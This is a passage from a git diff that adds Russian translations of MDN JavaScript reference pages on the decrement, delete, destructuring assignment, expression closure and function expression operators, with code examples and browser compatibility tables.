+<div>{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var>-- or --<var>x</var>
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Если используется постфикс, с оператором после операнда (например, x--), оператор декремента уменьшает и возвращает значение перед уменьшением.</p>
+
+<p>Если используется префикс, с оператором перед операндом (например, --x), оператор декремента уменьшает и возвращает значение после уменьшения.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Постфиксный_декремент">Постфиксный декремент</h3>
+
+<pre class="brush: js notranslate">let x = 3;
+y = x--;
+
+// y = 3
+// x = 2
+</pre>
+
+<h3 id="Префиксный_декремент">Префиксный декремент</h3>
+
+<pre class="brush: js notranslate">let a = 2;
+b = --a;
+
+// a = 1
+// b = 1
+</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<p>Спецификация</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-postfix-decrement-operator', 'Decrement operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("javascript.operators.decrement")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html
new file mode 100644
index 0000000000..2edf33b67e
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/delete/index.html
@@ -0,0 +1,127 @@
+---
+title: delete
+slug: Web/JavaScript/Reference/Operators/delete
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Оператор <code>delete</code> удаляет свойство из объекта.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" colspan="2" scope="row">Оператор</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Реализован в:</td>
+   <td>JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>Версия ECMAScript:</td>
+   <td>ECMA-262 1-ый выпуск</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p><code>delete <em>выражение</em></code></p>
+
+<p>где результат вычисления <em>выражения</em> должен быть ссылкой на свойство (объекта), например:</p>
+
+<pre class="syntaxbox">delete <em>object.property</em>
+delete <em>object</em>['<em>property</em>']
+delete <em>object</em>[<em>index</em>]
+delete <em>property</em> // удаляет свойства глобального объекта, или,
+                // используя инструкцию <em>with</em>, свойства объекта, на который ссылается инструкция
+</pre>
+
+<p>Если результат вычисления <em>выражения</em> не является свойством (объекта), <code>delete</code> ничего не делает.</p>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Имя объекта или выражение, результатом вычисления которого является объект.</dd>
+ <dt><code>property</code></dt>
+ <dd>Удаляемое свойство.</dd>
+ <dt><code>index</code></dt>
+ <dd>Целое число, представляющее собой индекс массива, который должен быть удален.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Возвращает false, только если свойство существует в самом объекте, а не в его прототипах, и не может быть удалено. Во всех остальных случаях возвращает true.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если оператор <code>delete</code> успешно выполняет удаление, он полностью удаляет свойство из объекта. Однако, если свойство с таким же именем существует в цепочке прототипов, объект унаследует это свойство из прототипа.</p>
+
+<p><code>delete</code> эффективен только применительно к свойствам объектов. Он не оказывает никакого влияния на имена переменных и функций.<br>
+ Присвоение значения свойству без указания объекта (без оператора var) иногда неверно характеризуется, как глобальная переменная, (например <code>x = 5</code>). На самом деле происходит присвоение значения свойству глобального объекта.</p>
+
+<p><code>delete</code> не может удалить определенные свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как <em>DontDelete.</em></p>
+
+<pre class="brush: js">x = 42;         // создает свойство x в глобальном объекте
+var y = 43;     // объявляет новую переменную, y
+myobj = {};
+myobj.h = 4;    // создает свойство h в myobj
+myobj.k = 5;    // создает свойство k в myobj
+
+delete x;       // возвращает true  (x - свойство глобального объекта и может быть удалено)
+delete y;       // возвращает false (delete не влияет на имена переменных)
+delete Math.PI; // возвращает false (delete не влияет на определенные встроенные свойства)
+delete myobj.h; // возвращает true  (свойства, определенные пользователем могут быть удалены)
+
+with(myobj) {
+    delete k;   // возвращает true  (эквивалентно delete myobj.k)
+}
+
+delete myobj;   // возвращает true  (myobj это свойство глобального объекта, не переменная, поэтому может быть удалено)</pre>
+
+<p>Если объект наследует свойство от прототипа и не имеет собственного свойства с таким же именем, свойство не может быть удалено при обращении через этот объект. Однако можно удалить это свойство напрямую в прототипе.</p>
+
+<pre class="brush: js">function Foo(){}
+Foo.prototype.bar = 42;
+var foo = new Foo();
+delete foo.bar;           // возвращает true, но безрезультатно, так как bar - наследуемое свойство
+alert(foo.bar);           // выводит 42, свойство все еще наследуется
+delete Foo.prototype.bar; // удаляет свойство из прототипа
+alert(foo.bar);           // выводит "undefined", свойство больше не наследуется</pre>
+
+<h3 id="Deleting_array_elements" name="Deleting_array_elements">Удаление элементов массива</h3>
+
+<p>Когда с помощью оператора delete удаляется элемент массива, длина массива не меняется. Например, если Вы удалите a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} по прежнему a{{ mediawiki.external(4) }}, а a{{ mediawiki.external(3) }} не определено. Так будет даже если Вы удалите последний элемент массива (<code>delete a{{ mediawiki.external('a.length-1') }}</code>).</p>
+
+<p>Когда оператор <code>delete</code> удаляет элемент массива, этот элемент больше не существует в массиве. В следующем примере, trees{{ mediawiki.external(3) }} удаляется с помощью <code>delete</code>.</p>
+
+<pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"];
+
+delete trees[3];
+if (3 in trees) {
+    // этот участок кода не выполнится
+}</pre>
+
+<p>Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все еще существует:</p>
+
+<pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"];
+trees[3]=undefined;
+if (3 in trees) {
+    // этот участок кода выполнится
+}</pre>
+
+<h2 id="Проблема_кроссбраузерности">Проблема кроссбраузерности</h2>
+
+<p>Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идет раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует <code>delete</code> с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей <em>старой</em> позиции, а не в конце итерационной последовательности, как ожидается.</p>
+
+<p>Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придется либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.</p>
+
+<h2 id="Specification" name="Specification">Внешние ссылки</h2>
+
+<ul>
+ <li>Глубокий <a href="http://perfectionkills.com/understanding-delete/">анализ оператора delete</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/destructuring_assignment/index.html b/files/ru/web/javascript/reference/operators/destructuring_assignment/index.html
new file mode 100644
index 0000000000..29cdd9cd7f
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/destructuring_assignment/index.html
@@ -0,0 +1,339 @@
+---
+title: Деструктурирующее присваивание
+slug: Web/JavaScript/Reference/Operators/Destructuring_assignment
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<p>Синтаксис <strong>деструктурирующего присваивания</strong> в выражениях JavaScript позволяет извлекать данные из массивов или объектов при помощи синтаксиса, подобного объявлению массива или литералов в объекте.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:js">var a, b, rest;
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+
+[a, b, ...rest] = [1, 2, 3, 4, 5];
+console.log(a); // 1
+console.log(b); // 2
+console.log(rest); // [3, 4, 5]
+
+({a, b} = {a:1, b:2});
+console.log(a); // 1
+console.log(b); // 2
+
+({a, b, ...rest} = {a:1, b:2, c:3, d:4});
+// ES2016 - ещё не реализовано Firefox 47a01
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Выражения объявления объектов или массивов предоставляют простой способ создания пакета однородных данных. При создании такого пакета вы получаете возможность использовать его любым доступным образом. Также вы можете возвращать его в функциях.</p>
+
+<p>Одной из ключевых возможностей использования деструктурирующего присваивания является чтение структуры данных одним оператором, хотя помимо этого вы можете найти множество других применений в приведённых ниже примерах.</p>
+
+<p>Данная возможность подобна таковой, присутствующей в языках Perl и Python.</p>
+
+<h2 id="Разбор_массивов">Разбор массивов</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: js">var foo = ["one", "two", "three"];
+
+// без деструктурирования
+var one   = foo[0];
+var two   = foo[1];
+var three = foo[2];
+
+// с деструктурированием
+var [one, two, three] = foo;</pre>
+
+<h3 id="Обмен_значений_переменных">Обмен значений переменных</h3>
+
+<p>После выполнения фрагмента кода, значение <var>b</var> будет 1, <var>a</var> будет 3. Без деструктурирующего присваивания, для обмена значений требуется дополнительная временная переменная (или что-то наподобие <a class="external" href="http://en.wikipedia.org/wiki/XOR_swap">XOR-обмена</a>).</p>
+
+<pre class="brush:js">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];</pre>
+
+<h3 id="Возврат_нескольких_значений">Возврат нескольких значений</h3>
+
+<p>Благодаря деструктурирующему присваиванию, функции могут возвращать несколько значений. Хотя всегда можно было возвращать массивы в функциях, оно предоставляет гибкость:</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2];
+}
+</pre>
+
+<p>Как вы видите, возвращаемые результаты имеют вид массива, значения которого заключены в квадратные скобки. Вы можете возвращать неограниченное количество результатов таким образом. В следующем примере, <code>f()</code> возвращает <code>[1, 2]</code> как результат:</p>
+
+<pre class="brush:js">var a, b;
+[a, b] = f();
+console.log("A is " + a + " B is " + b);
+</pre>
+
+<p>Оператор <code>[a, b] = f()</code> присваивает результаты функции переменным в квадратных скобках: <var>a</var> будет присвоено 1, <var>b</var> будет присвоено 2.</p>
+
+<p>Вы также можете использовать результат функции в виде массива:</p>
+
+<pre class="brush:js">var a = f();
+console.log("A is " + a);
+</pre>
+
+<p>В данном случае <var>a</var> будет массивом с элементами 1 и 2.</p>
+
+<h3 id="Игнорирование_некоторых_значений">Игнорирование некоторых значений</h3>
+
+<p>Вы также можете проигнорировать не нужные значения:</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log("A is " + a + " B is " + b);
+</pre>
+
+<p>После выполнения кода, a будет 1, b будет 3. Значение 2 игнорируется. Таким же образом вы можете игнорировать любые (или все) значения. Например:</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="Получение_значений_из_результата_регулярного_выражения">Получение значений из результата регулярного выражения</h3>
+
+<p>Когда метод <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">exec()</a></code> регулярного выражения находит совпадение, он возвращает массив, содержащий первый совпадающий фрагмент строки и далее группы, определённые в регулярном выражении. Деструктурирующее присваивание упрощает получение данных из этих групп, игнорируя первый фрагмент:</p>
+
+<pre class="brush:js">var url = "https://developer.mozilla.org/en-US/Web/JavaScript";
+
+var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+var [, protocol, fullhost, fullpath] = parsedURL;
+
+console.log(protocol); // выведет "https"
+</pre>
+
+<h2 id="Разбор_объектов">Разбор объектов</h2>
+
+<h3 id="Простой_пример_2">Простой пример</h3>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+
+// Объявление новых переменных
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true
+</pre>
+
+<h3 id="Загрузка_модулей">Загрузка модулей</h3>
+
+<p>Деструктурирующее присваивание помогает загружать специфичные наборы модулей, как в <a href="/en-US/Add-ons/SDK">Add-on SDK</a>:</p>
+
+<pre class="brush: js">const { Loader, main } = require('toolkit/loader');
+</pre>
+
+<h3 id="Вложенный_объект_и_разбор_массива">Вложенный объект и разбор массива</h3>
+
+<pre class="brush:js">var metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="Деструктурирование_во_время_обхода">Деструктурирование во время обхода</h3>
+
+<pre class="brush: js">var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+  console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"</pre>
+
+<h3 id="Получение_полей_объекта-параметра_функции">Получение полей объекта-параметра функции</h3>
+
+<pre class="brush:js">function userId({id}) {
+  return id;
+}
+
+function whois({displayName, fullName: {firstName: name}}){
+  console.log(displayName + " is " + name);
+}
+
+var user = {
+  id: 42,
+  displayName: "jdoe",
+  fullName: {
+      firstName: "John",
+      lastName: "Doe"
+  }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"</pre>
+
+<p>В приведённом примере извлекаются поля <code>id</code>, <code>displayName</code> и<span class="Apple-converted-space"> </span><code>firstName</code><span class="Apple-converted-space"> </span>из объекта пользователь.</p>
+
+<h3 id="Деструктурирование_вычисляемых_имён_свойств">Деструктурирование вычисляемых имён свойств</h3>
+
+<p>Вычисляемые имена свойств, например, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">литералы объектов</a>, могут использоваться при деструктурирующем присваивании:</p>
+
+<pre class="brush: js">let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Деструктурирующее присваивание')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>14</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Вычисляемые имена свойств</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>14</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Оператор spread</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>12<sup>[1]</sup></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td>Вычисляемые имена свойств</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("34") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Оператор spread</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("34") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Необходимо включить "Enable experimental Javascript features" в `about:flags`</p>
+
+<h3 id="See_also" name="See_also">Смотрите также</h3>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Операторы присваивания</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/expression_closures/index.html b/files/ru/web/javascript/reference/operators/expression_closures/index.html
new file mode 100644
index 0000000000..9c8f613699
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/expression_closures/index.html
@@ -0,0 +1,118 @@
+---
+title: Expression closures
+slug: Web/JavaScript/Reference/Operators/Expression_closures
+tags:
+  - Нестандартная
+  - Функции
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div class="warning"><strong>Не является стандартом. Не используйте данный синтаксис!</strong><br>
+Синтаксис замкнутого выражения является устаревшей возможностью SpiderMonkey и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1083458">будет удален</a>. Используйте вместо него <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции</a>.</div>
+
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Замкнутые выражения – это синтаксис для удобной записи коротких и простых функций.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+   <em>expression</em>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции. Может быть пропущено, в таком случае функция будет являться <em>анонимной</em>. Имя функции доступно только в теле функции.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Имя аргумента, передаваемого функции. Всего может быть передано вплоть до 255 аргументов.</dd>
+ <dt><code>expression</code></dt>
+ <dd>Выражение, содержащее тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот функционал – ничто иное как короткая нотация для записи простых функций. Он призван добавить в язык нечто похожее на <a class="external" href="https://ru.wikipedia.org/wiki/%D0%9B%D1%8F%D0%BC%D0%B1%D0%B4%D0%B0-%D0%B8%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5#.D0.92_.D1.8F.D0.B7.D1.8B.D0.BA.D0.B0.D1.85_.D0.BF.D1.80.D0.BE.D0.B3.D1.80.D0.B0.D0.BC.D0.BC.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D1.8F">Лямбда-исчисления</a>.</p>
+
+<p>JavaScript 1.7 и старше:</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>Такой синтаксис позволяет отбросить фигурные скобки и оператор <code>return</code>. Данный подход, кроме краткости записи, иных преимуществ не имеет.</p>
+
+<h2 id="Примеры_использования">Примеры использования</h2>
+
+<p>Короткая запись для привязки слушателей событий:</p>
+
+<pre class="brush: js"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p>Использование такой записи для работы с функциями массивов из JavaScript 1.6:</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h2 id="Таблица_совместимости">Таблица совместимости</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и области видимости")}}</li>
+ <li>{{jsxref("Function", "Функция")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/function/index.html b/files/ru/web/javascript/reference/operators/function/index.html
new file mode 100644
index 0000000000..aefe1d0c2b
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/function/index.html
@@ -0,0 +1,143 @@
+---
+title: Функциональное выражение
+slug: Web/JavaScript/Reference/Operators/function
+tags:
+  - JavaScript
+  - Оператор
+  - Функция
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ключевое слово <strong><code>function</code></strong> может использоваться для определения функции внутри выражения.</p>
+
+<p>Вы можете также определять функции используя конструктор {{jsxref("Function")}} и {{jsxref("Statements/function", "объявление функции")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var myFunction = function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>statements</em>
+};</pre>
+
+<p>С версии ES2015 можно также использовать <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции</a>.</p>
+
+<h3 id="Parameters" name="Parameters"><a id="Параметры" name="Параметры">Параметры</a></h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции. Может быть опущено, в таком случае функция является <em>анонимной</em>. Имя функции является локальным для её тела.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Имя аргумента, передаваемого в функцию.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции, составляющие тело функции.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Функциональное выражение и <a href="/ru/docs/Web/JavaScript/Reference/Statements/function">объявление функции</a> очень похожи и имеют почти одинаковый синтаксис. Главным отличием между ними является <em>имя функции,</em> которое в случае функциональных выражений может быть опущено для создания <em>анонимных</em> функций. Функциональное выражение может быть использовано для создания самовызывающейся функции {{Glossary("IIFE")}} (Immediately Invoked Function Expression), которая исполняется сразу же после того, как она была определена. Более подробная информация изложена в разделе о <a href="/ru/docs/Web/JavaScript/Reference/Functions">функциях</a>.</p>
+
+<h3 id="Поднятие_функциональных_выражений_2"><a id="Поднятие_функциональных_выражений" name="Поднятие_функциональных_выражений">Поднятие функциональных выражений</a></h3>
+
+<p>Функциональные выражения в JavaScript не {{Glossary("поднятие", "поднимаются (hoisting)")}}, в отличие от {{jsxref("Statements/function", "объявленных функций", "#Поднимание_объявленной_функции")}}. Вы не можете использовать функциональные выражения прежде, чем вы их определили.</p>
+
+<pre class="brush: js">console.log(notHoisted) // undefined
+//Хотя объявленная переменная и поднимается, определение переменной происходит позже
+notHoisted(); // TypeError: notHoisted is not a function
+
+var notHoisted = function() {
+   console.log('bar');
+};</pre>
+
+<h3 id="Именованное_функциональное_выражение"><a id="№Именованное функциональное выражение" name="№Именованное функциональное выражение">Именованное функциональное выражение</a></h3>
+
+<p>Если вы хотите сослаться на текущую функцию внутри тела этой функции, вам необходимо создать именованое функциональное выражение. Данное имя будет локальным только для тела функции (её области видимости). Кроме того, это позволяет избежать использования нестандартного свойства {{jsxref("arguments.callee")}}.</p>
+
+<pre class="brush: js">var math = {
+  'factit': function factorial(n) {
+    console.log(n);
+    if (n &lt;= 1) {
+      return 1;
+    }
+    return n * factorial(n - 1);
+  }
+};
+
+math.factit(3) //3;2;1;
+</pre>
+
+<p>Переменная, которой присвоено функциональное выражение, будет иметь свойство <code>name</code>, содержащее имя функции. Оно не изменится при переприсваивании другой переменной. Для анонимной функции, значением свойства <code>name</code> будет имя переменной (неявное имя). Если же имя задано, то будет использовано имя функции (явное имя). Это же касается стрелочных функций (в их случае там будет записано имя переменной, т.к. они всегда анонимные).</p>
+
+<pre class="brush: js">var foo = function() {}
+foo.name // "foo"
+
+var foo2 = foo
+foo2.name // "foo"
+
+var bar = function baz() {}
+bar.name // "baz"
+
+console.log(foo === foo2); // true
+console.log(typeof baz); // undefined
+console.log(bar === baz); // false (errors because baz == undefined)</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Следующий пример демонстрирует создание безымянной (анонимной) функции и присвоение её переменной <code>x</code>. Функция возвращает квадрат переданного значения:</p>
+
+<pre class="brush: js">var x = function (y) {
+   return y * y;
+};
+</pre>
+
+<p>Преимущественно анонимные функции используются как {{Glossary("функция обратного вызова", "функции обратного вызова", 1)}}.</p>
+
+<pre class="brush: js">button.addEventListener('click', function(event) {
+    console.log('button is clicked!')
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.operators.function")}}</p>
+
